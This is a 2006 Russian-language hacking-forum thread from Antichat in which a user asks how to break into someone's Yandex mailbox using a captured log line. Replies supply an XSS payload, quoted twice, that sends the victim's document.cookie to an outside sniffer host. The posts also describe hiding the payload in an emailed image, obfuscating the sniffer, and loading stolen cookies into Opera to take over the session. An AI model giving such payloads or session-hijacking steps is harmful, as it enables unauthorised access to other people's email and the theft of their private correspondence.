ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Получил сессию с yandex и не знаю что с ней делат. Помогите.
  #1  
Старый 26.06.2006, 01:07
m2infect
Познающий
Регистрация: 20.06.2006
Сообщений: 34
Провел на форуме:
140396

Репутация: 5
Question Получил сессию с yandex и не знаю что с ней делат. Помогите.

IP=XX.XX.XX.Xx SITE=mail.yandex.ru
REFERER=http://mail.yandex.ru/msg?mesid=9000000000023702702&folder=9000010000001 704418
QUERY=
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; TISA)

Господа, что-то я запутался во всем этом.
Как получить с помощью этого доступ в ящик?

Последний раз редактировалось m2infect; 26.06.2006 в 01:11..
 
Ответить с цитированием

  #2  
Старый 26.06.2006, 01:12
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

У тебя Query= пустая, в ней куки должны были прити. Так что это безполезная инфа.
 
Ответить с цитированием

  #3  
Старый 26.06.2006, 01:16
m2infect
Познающий
Регистрация: 20.06.2006
Сообщений: 34
Провел на форуме:
140396

Репутация: 5
По умолчанию

Цитата:
Сообщение от hidden  
У тебя Query= пустая, в ней куки должны были прити. Так что это безполезная инфа.
Может и не правельно задам вопрос.
Но все же.
А что сделал не так. Присылаю письмо, его отткрываю, и снифф срабатыет. Сессию получил, а куки нет. Что я не так сделал.?
 
Ответить с цитированием

  #4  
Старый 26.06.2006, 01:22
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

ты получил не сессию , а id письма и id папки

2) идентификация пользователя на яндексе идёт только через cookies
__________________

md5( icq ) : fd7d5666e3329c168c41dc355c046d22
 
Ответить с цитированием

  #5  
Старый 26.06.2006, 01:25
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Цитата:
Сообщение от m2infect  
Может и не правельно задам вопрос.
Но все же.
А что сделал не так. Присылаю письмо, его отткрываю, и снифф срабатыет. Сессию получил, а куки нет. Что я не так сделал.?
А ты описание к сниферу читал

Код HTML:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
 
Ответить с цитированием

  #6  
Старый 27.06.2006, 00:01
Sol-leks
Новичок
Регистрация: 14.05.2006
Сообщений: 15
Провел на форуме:
146532

Репутация: -3
По умолчанию

В итоге:
Ты видимо не тот скрипт указал, к своему способу..
Читай описание hidden'a.
Чтобы впихнуть свои куки юзай "Оперу": Интсрументы - Настройки - Дополнительно - Cookies - Управление Cookies, дальше будет видно какие циферки на что заменять...
 
Ответить с цитированием

  #7  
Старый 27.06.2006, 00:29
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

нет, просто он указал как гиперссылку, а не как картинку и .т.д хидден всё верно указал, тока это наверное не пройдёт. хех это не старые-добрые времена, думаю вы меня поняли
 
Ответить с цитированием

  #8  
Старый 27.06.2006, 00:31
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Есть способ через народ, я ему уже обьяснил, в пм.

Последний раз редактировалось hidden; 01.07.2006 в 04:17..
 
Ответить с цитированием

  #9  
Старый 27.06.2006, 09:33
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Цитата:
нет, просто он указал как гиперссылку, а не как картинку и .т.д хидден всё верно указал, тока это наверное не пройдёт. хех это не старые-добрые времена, думаю вы меня поняли
Со сниффером не пройдёт? Да ну.. Зашифровать снифф, и кинуть, если ты про это говоришь.
 
Ответить с цитированием

  #10  
Старый 29.06.2006, 08:23
~Fenix~
Banned
Регистрация: 26.07.2005
Сообщений: 240
Провел на форуме:
1266236

Репутация: 75
Отправить сообщение для ~Fenix~ с помощью ICQ
По умолчанию

Это уже обсуждалось, вобщем в код картинки вставляеш скрипт
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
и отправляеш ее месте с письмом, ну и ждеш куков) если пользователь кот отправляеш полный лох и решит посмотреть твою фотку)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Доpогой IE madnet Болталка 10 26.12.2004 01:41
Небольшой отрывок от книги T-REX Болталка 0 19.10.2004 05:19
Опять ломаем мыло iRedX E-Mail 19 27.09.2004 05:40
Пиянство mifan Болталка 18 03.09.2004 12:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ